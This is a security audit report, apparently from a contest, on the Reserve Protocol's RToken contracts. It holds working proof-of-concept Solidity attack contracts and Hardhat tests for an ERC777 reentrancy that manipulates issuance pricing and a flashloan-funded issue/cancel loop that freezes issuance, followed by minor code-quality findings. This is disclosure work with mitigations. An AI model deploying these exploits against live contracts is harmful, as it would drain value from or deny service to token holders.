Reserve contest - hihen's results

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L268-L276 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L791 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L498-L511 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L105

Vulnerability details

Impact

An attacker can manipulate the issue price of RToken. An attacker can make BackingManager to sell assets, mint rToken, or execute other operations based on a wrong intermediate state.

Proof of Concept

A similar issue is reported in Solidified - Oct 16 2022.pdf:

Issue#22: RToken.sol (P1): Reentrancy attack possible if token is ever upgraded to ERC777 token And the commit#4597ac8c solved the issue.

But in reality, the problem is more complex than the report describes. At least the following two points have not been covered or fixed:

1. When the RToken is upgraded to use the ERC777 standard, the attacker may reenter the protocol through other contracts (like BackingManager) in addition to the RToken itself.
2. Adding any ERC777 token to the basket would cause a reentrancy problem too. It would be more likely to happen and be overlooked.

The main logic of a cross-contract reentrancy attack is: Call RToken.issue() or RToken.vest() or RToken.redeem() to trigger an ERC777 callback(tokensToSend() or tokensReceived()) through issue - _mint() or issue - safeTransferFrom() or vest - _mint() or redeem - safeTransferFrom() or redeem - _burn() Then call BackingManager - manageTokens() within the ERC777 callback. The manageTokens() will cause errors becase it is called in an intermediate state, when RToken's state has been updated but not yet finished transferring all assets to BackingManager.

For example, the following test code shows one of the attack scenarios:

• Call RToken.issue()
• The ERC777 callback - tokensReceived() will be triggered by issue - _mint()
• Within the tokensReceived(), call BackingManager - manageTokens(). Becase it is not fully collateralized now(assets has not been transferred to BackingManager), it will make BackingManager call setBasketsNeeded() to set a smaller RToken.basketsNeeded.
• RToken.issue() return.
• From now on, because RToken.basketsNeeded is wrong, the attacker (or any user) can issue cheaper RToken (with less assets) and sell RToken to earn profit.

Test code:

diff --git a/contracts/Hack.sol b/contracts/Hack.sol
new file mode 100644
index 00000000..07ed0118
--- /dev/null
+++ b/contracts/Hack.sol
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BlueOak-1.0.0
+pragma solidity 0.8.9;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777RecipientUpgradeable.sol";
+import "./interfaces/IMain.sol";
+import "./interfaces/IRToken.sol";
+import "./interfaces/IBackingManager.sol";
+import "./interfaces/IBasketHandler.sol";
+
+contract Hack is Ownable, IERC777RecipientUpgradeable {
+    IMain public immutable main;
+    IRToken public immutable rToken;
+    IBasketHandler public immutable basketHandler;
+    IBackingManager public immutable backingManager;
+    bool private reenterFlag;
+
+    constructor(IMain _main) {
+        main = _main;
+        rToken = _main.rToken();
+        basketHandler = _main.basketHandler();
+        backingManager = _main.backingManager();
+    }
+
+    function attack(uint192 amount1, uint192 amount2) external onlyOwner {
+        IERC20[] memory erc20s = basketHandler.basketTokens();
+        // Prepare assets
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transferFrom(msg.sender, address(this), erc20s[i].balanceOf(msg.sender));
+            IERC20(erc20s[i]).approve(address(rToken), type(uint256).max);
+        }
+
+        // Attack: reentrancy with ERC777
+        reenterFlag = true;
+        rToken.issue(amount1);
+        // Issue after backingManager.manageTokens() and RToken.setBasketNeeded()
+        // The RToken is cheaper now (cost less assets)
+        rToken.issue(amount2);
+
+        // In real attack, the RToken should be sold immediately to earn profit
+        // Refund assets
+        rToken.transfer(msg.sender, rToken.balanceOf(address(this)));
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transfer(msg.sender, erc20s[i].balanceOf(address(this)));
+        }
+    }
+
+    function tokensReceived(
+        address operator,
+        address from,
+        address to,
+        uint256 amount,
+        bytes calldata userData,
+        bytes calldata operatorData
+    ) external virtual override {
+        if (reenterFlag) {
+            reenterFlag = false;
+            // BackingManager is NOT fully collateralized in the present intermediate state
+            assert(false == basketHandler.fullyCollateralized());
+            // Call BackingManager to trigger RToken.setBasketsNeeded()
+            backingManager.manageTokens(new IERC20 [](0));
+        }
+    }
+}
diff --git a/contracts/p1/RToken.sol b/contracts/p1/RToken.sol
index 2420c8d6..77a04b28 100644
--- a/contracts/p1/RToken.sol
+++ b/contracts/p1/RToken.sol
@@ -3,6 +3,9 @@ pragma solidity 0.8.9;
 
 // solhint-disable-next-line max-line-length
 import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777RecipientUpgradeable.sol";
+import "@openzeppelin/contracts-upgradeable/token/ERC777/IERC777SenderUpgradeable.sol";
 import "../interfaces/IMain.sol";
 import "../interfaces/IRToken.sol";
 import "../libraries/Fixed.sol";
@@ -825,12 +828,21 @@ contract RTokenP1 is ComponentP1, ERC20PermitUpgradeable, IRToken {
      * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
      * - `from` and `to` are never both zero.
      */
-    function _beforeTokenTransfer(
-        address,
-        address to,
-        uint256
-    ) internal virtual override {
+    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
         require(to != address(this), "RToken transfer to self");
+        // Mock _callTokensToSend of ERC777
+        if (from != address(0) && AddressUpgradeable.isContract(from)) {
+            try IERC777SenderUpgradeable(from).tokensToSend(msg.sender, from, to, amount, new bytes(0), new bytes(0)) {
+            } catch {}
+        }
+    }
+
+    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
+        // Mock _callTokensReceived of ERC777
+        if (to != address(0) && AddressUpgradeable.isContract(to)) {
+            try IERC777RecipientUpgradeable(to).tokensReceived(msg.sender, from, to, amount, new bytes(0), new bytes(0)) {
+            } catch {}
+        }
     }
 
     /// @dev Used in reward claim functions to save on contract size
diff --git a/test/RToken.test.ts b/test/RToken.test.ts
index 311795be..4ff1cd69 100644
--- a/test/RToken.test.ts
+++ b/test/RToken.test.ts
@@ -226,6 +226,57 @@ describe(`RTokenP${IMPLEMENTATION} contract`, () => {
     )
   })
 
+  it.only('Attack: ERC777 Reentrancy', async function () {
+    // test P1 only
+    if (IMPLEMENTATION != Implementation.P1) {
+      return
+    }
+    const rTokenP1 = <RTokenP1>await ethers.getContractAt('RTokenP1', rToken.address)
+    const [user, attacker] = [addr1, addr2]
+
+    // Issuance is fine at first
+    await Promise.all(tokens.map((t) => t.connect(user).approve(rTokenP1.address, MAX_UINT256)))
+    await rTokenP1.connect(user)['issue(uint256)'](bn('2000e18'))
+
+    expect(await rTokenP1.balanceOf(user.address)).to.eq(bn('2000e18'))
+    // The basketsNeeded is correct before the attack
+    expect(await rTokenP1.basketsNeeded()).to.eq(await basketHandler.basketsHeldBy(backingManager.address))
+
+    // Record the costs of issuing 2000 RToken
+    const costs2000 = []
+    for (let t of tokens) {
+      costs2000.push(initialBal.sub(await t.balanceOf(user.address)))
+    }
+
+    // Deploy the Hack contract for attack
+     const hack = await (await ethers.getContractFactory('Hack')).connect(attacker).deploy(main.address)
+     await hack.deployed()
+     await Promise.all(tokens.map((t) => t.connect(attacker).approve(hack.address, MAX_UINT256)))
+
+     // Attack!
+     await hack.connect(attacker).attack(bn('2000e18'), bn('4000e18'))
+     // The attacker issued 6000 RToken
+    expect(await rTokenP1.balanceOf(attacker.address)).to.eq(bn('6000e18'))
+
+    // Record the costs of issuing 6000 RToken
+    const costs6000 = []
+    for (let t of tokens) {
+      costs6000.push(initialBal.sub(await t.balanceOf(attacker.address)))
+    }
+
+    // The hacker issued RToken more cheaply
+    for (let i = 0; i < tokens.length; i++) {
+      expect(costs6000[i]).to.be.lt(costs2000[i].mul(3))
+      expect(costs6000[i]).to.be.eq(costs2000[i].mul(2))
+    }
+    // In real attack, the RToken should be sold immediately to earn profit
+
+    // The basketsNeeded is incorrect now because it was modified through setBasketsNeeded() during the attack
+    expect(await rTokenP1.basketsNeeded()).to.lt(await basketHandler.basketsHeldBy(backingManager.address))
+    expect(await rTokenP1.basketsNeeded()).to.eq(bn('4000e18'))
+    expect(await basketHandler.basketsHeldBy(backingManager.address)).to.eq(bn('6000e18'))
+  })
+
   describe('Deployment #fast', () => {
     it('Deployment should setup RToken correctly', async () => {
       expect(await rToken.name()).to.equal('RTKN RToken')

Tools Used

VS Code

Recommended Mitigation Steps

Since it is hard to ensure that ERC777 token will never be added to a basket, it is recommended to improve the code to completely avoid this attack risk:

1. Add ReentrancyGuard to the RToken, and make important methods (issue, vest, redeem, mint, setBasketsNeeded) nonReentrant.
2. Add a flag to RToken to revert functions in other contracts (like BasketHandler.manageTokens()) when RToken is executing issue/vest/redeem.

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L177 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L186 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L406 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L344

Vulnerability details

Impact

Attackers can launch DoS attacks on RTokens a low cost, which will prevent RTokens from minting new tokens (issuance).

Proof of Concept

The issuance rate is limited in RToken. Each issue() is assigned with a vesting time (the IssueItem.when) calculated by whenFinished. Each IssueItem increases the allVestAt, which makes the vesting time of all subsequent IssueItems increasing, too. A larger amount of issue item will require a longer waiting time to vest(), and all subsequent items will also require a later time before vest.

When combined with the cancel() function, the rate limit can be used to perform a DoS attack: A malicious user can increase the wait time for all subsequent issue items by calling issue() and cancel() repeatedly, which makes the issuance of RToken unavailable for a long time (days or months).

For example, the following test case demonstrates how to DoS RToken for 10 days with one transaction:

• The attacker only spend about 29 million gas (equivalent to 0.29 ETH when the gas price is 10 GWei).
• The cost of flashloan should also be taken into account in real attack.
• The attacker can adjust the parameters according to the fee rate of flashloan service used to keep the cost as low as possible:
  • If the fee rate of the flashloan service used is higher(e.g. AAVE: 0.09%), use smaller issue amount and more rounds.
  • Otherwise (e.g. dydx: 2wei), use a bigger issue amount and less rounds (less gas).

Test code for PoC:

diff --git a/contracts/DoS.sol b/contracts/DoS.sol
new file mode 100644
index 00000000..8a4828f8
--- /dev/null
+++ b/contracts/DoS.sol
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: BlueOak-1.0.0
+pragma solidity 0.8.9;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "./interfaces/IMain.sol";
+import "./interfaces/IRToken.sol";
+import "./interfaces/IAssetRegistry.sol";
+import "./interfaces/IBasketHandler.sol";
+import "./libraries/Fixed.sol";
+
+contract DoS is Ownable {
+    IMain public immutable main;
+    IRToken public immutable rToken;
+    IAssetRegistry public immutable assetRegistry;
+    IBasketHandler public immutable basketHandler;
+
+    constructor(IMain _main) {
+        main = _main;
+        rToken = _main.rToken();
+        assetRegistry = _main.assetRegistry();
+        basketHandler = _main.basketHandler();
+    }
+
+    function attack(uint192 amount, uint256 round) external onlyOwner {
+        assetRegistry.refresh();
+        // Assume issueAmount == basketAmount for simplicity
+        (address[] memory erc20s, uint256[] memory quantities) = basketHandler.quote(amount, CEIL);
+        // Prepare assets
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transferFrom(msg.sender, address(this), quantities[i]);
+            IERC20(erc20s[i]).approve(address(rToken), type(uint256).max);
+        }
+        // Attack: make RToken DoS by numerous issue
+        for (uint256 i = 0; i < round; i++) {
+            rToken.issue(amount);
+            rToken.cancel(1, true);
+        }
+        // Return assets
+        for (uint256 i = 0; i < erc20s.length; i++) {
+            IERC20(erc20s[i]).transfer(msg.sender, quantities[i]);
+        }
+    }
+}
diff --git a/test/RToken.test.ts b/test/RToken.test.ts
index 311795be..e7ba4f34 100644
--- a/test/RToken.test.ts
+++ b/test/RToken.test.ts
@@ -226,6 +226,59 @@ describe(`RTokenP${IMPLEMENTATION} contract`, () => {
     )
   })
 
+  it.only('Attack: DOS issuance by large issue large amount (and cancel)', async function () {
+    if (IMPLEMENTATION != Implementation.P1) {
+      return
+    }
+    const rTokenP1 = <RTokenP1>await ethers.getContractAt('RTokenP1', rToken.address)
+    const MIN_ISSUANCE_PER_BLOCK = bn('10000e18')
+    const [user, attacker] = [addr1, other]
+
+    // Issuance is fine at first
+    await Promise.all(tokens.map((t) => t.connect(user).approve(rTokenP1.address, MAX_UINT256)))
+    await rTokenP1.connect(user)['issue(uint256)'](MIN_ISSUANCE_PER_BLOCK)
+    await expectProcessedIssuance(user.address, 0)
+    expect(await rTokenP1.balanceOf(user.address)).to.eq(MIN_ISSUANCE_PER_BLOCK)
+
+    // Prepare 10 million assets for the attack (flashloan can be used in real attack)
+    const loanAmount = MIN_ISSUANCE_PER_BLOCK.mul(1000)
+    await Promise.all(tokens.map((t) => t.connect(owner).mint(attacker.address, loanAmount)))
+
+    // Deploy the attack contract - DoS.sol
+    const dos = await (await ethers.getContractFactory('DoS')).connect(attacker).deploy(main.address)
+    await dos.deployed()
+    await Promise.all(tokens.map((t) => t.connect(attacker).approve(dos.address, MAX_UINT256)))
+
+    // Attack! DoS issuance for 10 days (72 * 1000 block * 12 second/block = 864000 second = 10 day)
+    const tx = await dos.connect(attacker).attack(loanAmount, 72)
+    const res = await tx.wait()
+    console.debug(`gas used: ${res.gasUsed.toString()}`)
+    // Gas cost of DoS for 10 days: < 29 million, it is about 0.29 ETH when gas price is 10 Gwei
+    expect(res.gasUsed).to.lt(bn('29e8'))
+
+    // Attacker get all the assets back
+    for (let t of tokens) {
+      expect(await t.balanceOf(attacker.address)).to.eq(loanAmount)
+    }
+
+    // Try issue again, it is in DoS state
+    await rTokenP1.connect(user)['issue(uint256)'](MIN_ISSUANCE_PER_BLOCK)
+    const currentBlockNumber = await getLatestBlockNumber()
+    const blockAddPct: BigNumber = loanAmount.mul(BN_SCALE_FACTOR).div(MIN_ISSUANCE_PER_BLOCK).mul(72)
+    await expectUnprocessedIssuance(user.address, 0, {
+        amount: MIN_ISSUANCE_PER_BLOCK,
+        blockAvailableAt: fp(currentBlockNumber - 1).add(blockAddPct),
+      })
+    // 72000 blocks is added
+    expect(blockAddPct).to.eq(bn('1e18').mul(72000))
+
+    await advanceBlocks(72000 - 3)
+    // Issuance is still in DoS state after (72000-2) blocks
+    await expect(rTokenP1.connect(user).vest(user.address, 1)).to.be.revertedWith('issuance not ready')
+    // Issuance is fine again in next block, after (72000-1) blocks (i.e. 10 days)
+    await rTokenP1.connect(user).vest(user.address, 1)
+  })
+
   describe('Deployment #fast', () => {
     it('Deployment should setup RToken correctly', async () => {
       expect(await rToken.name()).to.equal('RTKN RToken')

Tools Used

VS Code

Recommended Mitigation Steps

1. Limit each issue item in the queue (issueQueues) to wait at least n >= 1 blocks before canceling
2. Record the issue time for each IssueItem, and reduce the allVestAt according the issue time and amount when canceling.

01. Constants should be defined rather than using magic numbers

Permit.sol: 0x1626ba7e

require(
    IERC1271Upgradeable(owner).isValidSignature(hash, abi.encodePacked(r, s, v)) ==
        0x1626ba7e,
    "ERC1271: Unauthorized"
);

Distributor.sol: 10000

require(share.rsrDist <= 10000, "RSR distribution too high");
require(share.rTokenDist <= 10000, "RToken distribution too high");

02. GnosisTrade.settle() misses a check for endTime

GnosisTrade.settle() need check now >= endTime as described in the comment:

  // checks:
  //   state is OPEN
  //   caller is `origin`
  //   now >= endTime

Should add the following to GnosisTrade.settle():

require(endTime <= block.timestamp, "can not settle now");

03. ReentrancyGuardUpgradeable is not initialized

TradingP1 inherits ReentrancyGuardUpgradeable, but forgets to call __ReentrancyGuard_init() in __Trading_init():

abstract contract TradingP1 is Multicall, ComponentP1, ReentrancyGuardUpgradeable, ITrading {
    ...
    function __Trading_init(
        IMain main_,
        uint192 maxTradeSlippage_,
        uint192 minTradeVolume_
    ) internal onlyInitializing {
        broker = main_.broker();
        setMaxTradeSlippage(maxTradeSlippage_);
        setMinTradeVolume(minTradeVolume_);
    }
    ...
}

04. StRSR and Furnace should be prevented from being added to the destinations

The StRSR and Furnance are treated specially in DistributorP1.sol and are replaced by two special addresses:

contract DistributorP1 is ComponentP1, IDistributor {
    ...
    address public constant FURNACE = address(1);
    address public constant ST_RSR = address(2);
    ...
    function _setDistribution(address dest, RevenueShare memory share) internal {
        require(dest != address(0), "dest cannot be zero");
        if (dest == FURNACE) require(share.rsrDist == 0, "Furnace must get 0% of RSR");
        if (dest == ST_RSR) require(share.rTokenDist == 0, "StRSR must get 0% of RToken");
        ...
    }
    ...
}

That is, we need to pass dest = 0x1 to set Furnace destination and dest = 0x2 to set StRSR destination, both of which have special share limitations. However, these share limitations can be overcome by passing in the real Furnace or StRSR address.

It is recommended to revert if dest address is the real Furnace or StRSR address in _setDistribution():

require(dest != furnace, "dest cannot be furnace");
require(dest != stRSR, "dest cannot be stRSR");

05. Redundant code in PermitLib.requireSignature

The if branch in PermitLib.requireSignature() is redundant because SignatureCheckerUpgradeable.isValidSignatureNow() also verifies ERC1271 signature.

library PermitLib {
    function requireSignature(
        address owner,
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external view {
        if (AddressUpgradeable.isContract(owner)) {
            require(
                IERC1271Upgradeable(owner).isValidSignature(hash, abi.encodePacked(r, s, v)) ==
                    0x1626ba7e,
                "ERC1271: Unauthorized"
            );
        } else {
            require(
                SignatureCheckerUpgradeable.isValidSignatureNow(
                    owner,
                    hash,
                    abi.encodePacked(r, s, v)
                ),
                "ERC20Permit: invalid signature"
            );
        }
    }
}

06. Missing targetName check for collaterals in BasketHandler.setBackupConfig()

The function BasketHandler.setBackupConfig() only checks that each of the erc20s is a collateral, but doesn't check that whether its targetName is correct. This results in potentially adding collaterals with mismatched targetName to config.backups[targetName].

It is recommended to check the targetName when adding backup collaterals:

function setBackupConfig(
    bytes32 targetName,
    uint256 max,
    IERC20[] calldata erc20s
) external governance {
    ...
    for (uint256 i = 0; i < erc20s.length; ++i) {
        require(assetRegistry.toAsset(erc20s[i]).isCollateral(), "token is not collateral");
        // FIX BEGIN
        require(targetName == ICollateral(address(assetRegistry.toAsset(erc20s[i]))).targetName(), "targetName not match");
        // FIX END
        conf.erc20s.push(erc20s[i]);
    }
    emit BackupConfigSet(targetName, max, erc20s);
}